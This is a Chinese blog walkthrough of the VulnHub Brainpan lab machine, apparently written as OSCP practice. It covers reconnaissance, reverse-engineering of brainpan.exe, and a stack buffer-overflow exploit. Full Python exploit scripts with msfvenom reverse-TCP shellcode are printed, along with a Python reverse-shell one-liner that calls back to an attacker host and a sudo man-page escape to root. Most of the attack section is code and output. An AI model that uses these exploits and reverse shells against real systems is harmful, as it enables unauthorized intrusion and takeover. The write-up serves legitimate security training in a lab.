VulnHub靶场笔记 - Brainpan(OSCP推荐靶场)

1 信息收集

1.1 主机探测

靶机网段扫描

根据结果可知,靶机IP为:192.168.220.134

nmap -sn 192.168.220.1/24 --min-rate 1000 -T4
靶机端口扫描
sudo nmap -sS -p- --min-rate 1000 -T4 -oN nmap.txt 192.168.220.134

发现9999、10000两个端口

可以对UDP端口也进行扫描,防止遗漏

sudo nmap -sU -p- 192.168.220.134 --min-rate 1000 -T4 -oN nmap.txt --append-out

没有什么结果

对9999、10000端口对应的服务进行探测扫描

sudo nmap -sC -sV -O -p9999,10000 -oN nmap.txt --append-out 192.168.220.134

结果如下

1.2 网页初探

9999端口

访问:http://192.168.220.134:9999

发现是一个类似终端的界面

需要输入密码,初始状态下访问被拒绝

尝试使用nc,进入和网页中相同的终端界面,需要输入密码

10000端口

访问:http://192.168.220.134:10000

发现一个介绍安全开发的页面

查看页面源代码,发现有一张图片资源,下载到本地

wget http://192.168.220.134:10000/soss-infographic-final.png

然后使用exiftool查看图片有无隐写

sudo apt-get update
sudo apt-get upgrade
sudo apt-get install exiftool
exiftool soss-infographic-final.png

并没有什么发现

1.3 目录侦查

分别对9999端口和10000端口对应的页面使用dirb进行目录爆破

dirb http://192.168.220.134:9999/
dirb http://192.168.220.134:10000/

9999端口对应的页面扫描报错

10000端口扫描结果如下

尝试访问:http://192.168.220.134:10000/bin

发现是一个可以下载.exe文件的页面

将文件下载下来(直接点击下载或使用winget均可)

2 GetShell(by Windows pwn)

2.1 IDA分析

使用IDA x32打开

F5,在main函数中找到如下代码

查看get_reply()函数,可以发现一些有用的信息

首先,在main函数中,buf可以接收的大小为1000,但此处strcpy()函数将source(即buf)拷贝到Destination中,但Destination的大小为520,说明可以进行溢出

其次,在strcmp函数中发现一个字符串shitstorm,可能是9999端口需要输入的密码

2.2 溢出点分析

尝试在nc连接中输入密码shitstorm

发现密码正确,但是没有给出更多信息

再次在IDA中查看main函数代码,应该是让我们利用输入密码这个地方进行溢出

我们进行一下验证,首先生成长度1000的充填字符,然后输入到9999端口

msf-pattern_create -l 1000

没有明显的结果,接下来我们在WinDbg中进一步分析

2.3 WinDbg调试

打开WinDbg,选择“运行可执行程序”,选择brainpain.exe,然后在命令框中输入g,开始运行

同时,自动打开的命令行窗口如下

在kali中,监听运行WinDbg终端的9999端口

溢出检测

同样,生成长度1000的充填字符,然后输入

在WinDbg一侧的命令行

WinDbg信息如下,此时EIP为35724134,很明显已经出现报错

然后查看栈上信息

dd esp

计算输入多少字符才能覆盖EIP,因为EIP指向下一条即将执行的指令

msf-pattern_offset -q 35724134

发现偏移量为524

那么,可以编写脚本exp.py如下

import socket

server = ("192.168.220.128", 9999)

rubbish = b'A' * 524
eip = b'B' * 4
buf = rubbish + eip + b'C' * 300

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(server)
s.send(buf)
s.close()

在WinDbg中重启服务,然后g运行。在kali中将脚本发送过去

可以看到脚本生效,此时的EIP为42424242

然后查看栈上信息

查看栈的前面一部分,确认'C'是从005ff910开始写入的

dd esp-10

可以看到没有问题,'C'的确是从005ff910开始写入的

s

JMP SEP利用

如果我们能够控制EIP指向栈上的数据,那么我们就可以通过控制栈上的数据来让EIP指向我们想执行的内容

而这一点,可以通过 JMP ESP 命令实现

首先,查找 JMP ESP 命令对应的十六进制,为FFE4

msf-nasm_shell
nasm > jmp esp

然后,在WinDbg中搜索FF E4

s -b 0 L?20000000 FF E4
s -b 20000000 L?20000000 FF E4

这里,我们选择地址 0x311712f3 所指向的内容,来实现 JMP ESP

坏字符检测

生成坏字符,在python中执行如下代码

for i in range(1, 0xFF+1):
	print ("\\x%.2x" % i, end='')

得到

编写exp.py

import socket

server = ("192.168.220.128", 9999)

rubbish = b'A' * 524
eip = b'B' * 4
nop = b'\x90' * 10
badchars = b'\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'

buf = rubbish + eip + badchars

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(server)
s.send(buf)
s.close()

重启WinDbg中的程序,g运行,然后在Kali中执行exp.py

成功执行,然后在中查看栈上的数据

dd esp L40

从01一直到ff,中间没有出现00(如果发送的badchars中加入 \x00 会观察到栈上数据完全不同),说明从\x01到\xff都可以使用

ret2shellcode

然后,我们利用shellcode写入的方式,借助地址0x311712f3来编写exp.py

使用如下命令生成shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.220.129 LPORT=2233 -b "\x00" -f py -o shellcode.txt

shellcode.txt内容如下

shellcode =  b""
shellcode += b"\xdb\xce\xb8\xbc\x62\x33\xe7\xd9\x74\x24\xf4\x5e"
shellcode += b"\x2b\xc9\xb1\x52\x31\x46\x17\x83\xc6\x04\x03\xfa"
shellcode += b"\x71\xd1\x12\xfe\x9e\x97\xdd\xfe\x5e\xf8\x54\x1b"
shellcode += b"\x6f\x38\x02\x68\xc0\x88\x40\x3c\xed\x63\x04\xd4"
shellcode += b"\x66\x01\x81\xdb\xcf\xac\xf7\xd2\xd0\x9d\xc4\x75"
shellcode += b"\x53\xdc\x18\x55\x6a\x2f\x6d\x94\xab\x52\x9c\xc4"
shellcode += b"\x64\x18\x33\xf8\x01\x54\x88\x73\x59\x78\x88\x60"
shellcode += b"\x2a\x7b\xb9\x37\x20\x22\x19\xb6\xe5\x5e\x10\xa0"
shellcode += b"\xea\x5b\xea\x5b\xd8\x10\xed\x8d\x10\xd8\x42\xf0"
shellcode += b"\x9c\x2b\x9a\x35\x1a\xd4\xe9\x4f\x58\x69\xea\x94"
shellcode += b"\x22\xb5\x7f\x0e\x84\x3e\x27\xea\x34\x92\xbe\x79"
shellcode += b"\x3a\x5f\xb4\x25\x5f\x5e\x19\x5e\x5b\xeb\x9c\xb0"
shellcode += b"\xed\xaf\xba\x14\xb5\x74\xa2\x0d\x13\xda\xdb\x4d"
shellcode += b"\xfc\x83\x79\x06\x11\xd7\xf3\x45\x7e\x14\x3e\x75"
shellcode += b"\x7e\x32\x49\x06\x4c\x9d\xe1\x80\xfc\x56\x2c\x57"
shellcode += b"\x02\x4d\x88\xc7\xfd\x6e\xe9\xce\x39\x3a\xb9\x78"
shellcode += b"\xeb\x43\x52\x78\x14\x96\xf5\x28\xba\x49\xb6\x98"
shellcode += b"\x7a\x3a\x5e\xf2\x74\x65\x7e\xfd\x5e\x0e\x15\x04"
shellcode += b"\x09\xf1\x42\xda\x48\x99\x90\xe2\x42\xe3\x1c\x04"
shellcode += b"\x38\x03\x49\x9f\xd5\xba\xd0\x6b\x47\x42\xcf\x16"
shellcode += b"\x47\xc8\xfc\xe7\x06\x39\x88\xfb\xff\xc9\xc7\xa1"
shellcode += b"\x56\xd5\xfd\xcd\x35\x44\x9a\x0d\x33\x75\x35\x5a"
shellcode += b"\x14\x4b\x4c\x0e\x88\xf2\xe6\x2c\x51\x62\xc0\xf4"
shellcode += b"\x8e\x57\xcf\xf5\x43\xe3\xeb\xe5\x9d\xec\xb7\x51"
shellcode += b"\x72\xbb\x61\x0f\x34\x15\xc0\xf9\xee\xca\x8a\x6d"
shellcode += b"\x76\x21\x0d\xeb\x77\x6c\xfb\x13\xc9\xd9\xba\x2c"
shellcode += b"\xe6\x8d\x4a\x55\x1a\x2e\xb4\x8c\x9e\x5e\xff\x8c"
shellcode += b"\xb7\xf6\xa6\x45\x8a\x9a\x58\xb0\xc9\xa2\xda\x30"
shellcode += b"\xb2\x50\xc2\x31\xb7\x1d\x44\xaa\xc5\x0e\x21\xcc"
shellcode += b"\x7a\x2e\x60"

我们使用如下命令,将buf替换为shellcode,便于后面复制粘贴

sed -i s/buf/shellcode/g shellcode.txt

然后,编写exp脚本如下

import socket

server = ("192.168.220.128", 9999)

rubbish = b'A' * 524
eip = b'\xF3\x12\x17\x31'
nop = b'\x90' * 16
shellcode =  b""
shellcode += b"\xdb\xce\xb8\xbc\x62\x33\xe7\xd9\x74\x24\xf4\x5e"
shellcode += b"\x2b\xc9\xb1\x52\x31\x46\x17\x83\xc6\x04\x03\xfa"
shellcode += b"\x71\xd1\x12\xfe\x9e\x97\xdd\xfe\x5e\xf8\x54\x1b"
shellcode += b"\x6f\x38\x02\x68\xc0\x88\x40\x3c\xed\x63\x04\xd4"
shellcode += b"\x66\x01\x81\xdb\xcf\xac\xf7\xd2\xd0\x9d\xc4\x75"
shellcode += b"\x53\xdc\x18\x55\x6a\x2f\x6d\x94\xab\x52\x9c\xc4"
shellcode += b"\x64\x18\x33\xf8\x01\x54\x88\x73\x59\x78\x88\x60"
shellcode += b"\x2a\x7b\xb9\x37\x20\x22\x19\xb6\xe5\x5e\x10\xa0"
shellcode += b"\xea\x5b\xea\x5b\xd8\x10\xed\x8d\x10\xd8\x42\xf0"
shellcode += b"\x9c\x2b\x9a\x35\x1a\xd4\xe9\x4f\x58\x69\xea\x94"
shellcode += b"\x22\xb5\x7f\x0e\x84\x3e\x27\xea\x34\x92\xbe\x79"
shellcode += b"\x3a\x5f\xb4\x25\x5f\x5e\x19\x5e\x5b\xeb\x9c\xb0"
shellcode += b"\xed\xaf\xba\x14\xb5\x74\xa2\x0d\x13\xda\xdb\x4d"
shellcode += b"\xfc\x83\x79\x06\x11\xd7\xf3\x45\x7e\x14\x3e\x75"
shellcode += b"\x7e\x32\x49\x06\x4c\x9d\xe1\x80\xfc\x56\x2c\x57"
shellcode += b"\x02\x4d\x88\xc7\xfd\x6e\xe9\xce\x39\x3a\xb9\x78"
shellcode += b"\xeb\x43\x52\x78\x14\x96\xf5\x28\xba\x49\xb6\x98"
shellcode += b"\x7a\x3a\x5e\xf2\x74\x65\x7e\xfd\x5e\x0e\x15\x04"
shellcode += b"\x09\xf1\x42\xda\x48\x99\x90\xe2\x42\xe3\x1c\x04"
shellcode += b"\x38\x03\x49\x9f\xd5\xba\xd0\x6b\x47\x42\xcf\x16"
shellcode += b"\x47\xc8\xfc\xe7\x06\x39\x88\xfb\xff\xc9\xc7\xa1"
shellcode += b"\x56\xd5\xfd\xcd\x35\x44\x9a\x0d\x33\x75\x35\x5a"
shellcode += b"\x14\x4b\x4c\x0e\x88\xf2\xe6\x2c\x51\x62\xc0\xf4"
shellcode += b"\x8e\x57\xcf\xf5\x43\xe3\xeb\xe5\x9d\xec\xb7\x51"
shellcode += b"\x72\xbb\x61\x0f\x34\x15\xc0\xf9\xee\xca\x8a\x6d"
shellcode += b"\x76\x21\x0d\xeb\x77\x6c\xfb\x13\xc9\xd9\xba\x2c"
shellcode += b"\xe6\x8d\x4a\x55\x1a\x2e\xb4\x8c\x9e\x5e\xff\x8c"
shellcode += b"\xb7\xf6\xa6\x45\x8a\x9a\x58\xb0\xc9\xa2\xda\x30"
shellcode += b"\xb2\x50\xc2\x31\xb7\x1d\x44\xaa\xc5\x0e\x21\xcc"
shellcode += b"\x7a\x2e\x60"
buf = rubbish + eip + nop + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(server)
s.send(buf)
s.close()

在Kali中监听2233端口;重启WinDbg中的程序,g运行;然后在Kali中执行exp.py

成功反弹shell

然后,更改脚本IP,对靶机实现同样操作,成功getshell

3 权限提升

3.1 Win虚拟环境逃逸

查看环境变量

echo %PATH%

查看有无python

# 查看有无python2
/usr/bin/python -V
# 查看有无python3
/usr/bin/python3 -V

前往:Online - Reverse Shell Generator,查看python3可利用的提权代码

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.10",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

不过,上述代码中,需要将单引号和双引号互换,可以在记事本中借助中间字符完成这个操作

python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn('sh')"

先在Kali中监听2233端口(之前的shellcode执行完2233端口就已经空闲了,此处可以继续利用)

nc -lvvnp 2233

然后,我们直接在靶机终端中执行如下代码

/usr/bin/python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.220.129',2233));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn('sh')"

Windows虚拟环境逃逸成功

3.2 root提权

首先,添加xterm环境变量(不添加不能使用clear命令)

export TERM=xterm

查看是否可以使用sudo

发现只有 /home/anansi/bin 目录下的 anansi_util 命令具有sudo权限

执行 anansi_util 命令以查看具体情况

发现有三个子动作,分别是:

(1)查看网络信息

(2)第二个是查看进程信息

(3)帮助信息

sudo /home/anansi/bin/anansi_util manual ls

此命令应该可以提权

首先执行

sudo /home/anansi/bin/anansi_util manual ls

然后在光标处输入

!/bin/bash

提权成功

在 /root 目录下得到flag

  • 23
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
OSCP 2023 Challenge Writeup-MedTech-CSDN博客是一个关于OSCP挑战赛的技术解析博客。在这篇博客中,作者详细讲解了一个名为MedTech的挑战项目,并提供了解决该挑战所需的步骤和工具。 这篇博客的开头介绍了OSCP证书的重要性和它在信息安全领域的认可度。接着,作者向读者介绍了挑战项目MedTech的背景和目标。MedTech是一个模拟医疗技术公司的网络环境,参与者需要在该环境中寻找漏洞、获取权限,最终控制主机,获取FLAG。 在解决这个挑战的过程中,作者详细介绍了使用的工具和技术。例如,他讲解了利用漏洞扫描工具Nmap进行主机发现和服务探测的步骤,以及如何使用Metasploit框架进行漏洞利用和提权。 博客中还涵盖了其他一些有关网络渗透测试的技术,如枚举、社会工程学和Web应用程序漏洞利用。作者详细解释了每个技术的原理和实际应用。 在解决MedTech挑战的过程中,作者还分享了一些遇到的困难和技巧。他提到了一些常见的错误和陷阱,并分享了如何避免它们的经验。 最后,作者总结了整个挑战的过程,并分享了他在完成挑战时的成就感和收获。他强调了在这个过程中学到的技能和知识的重要性,并鼓励读者积极参与类似的挑战和项目。 这篇博客不仅提供了对OSCP挑战赛的深入了解,而且为读者提供了解决类似问题的思路和方法。它对于那些对信息安全和网络渗透感兴趣的读者来说是一个很有价值的参考资源。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值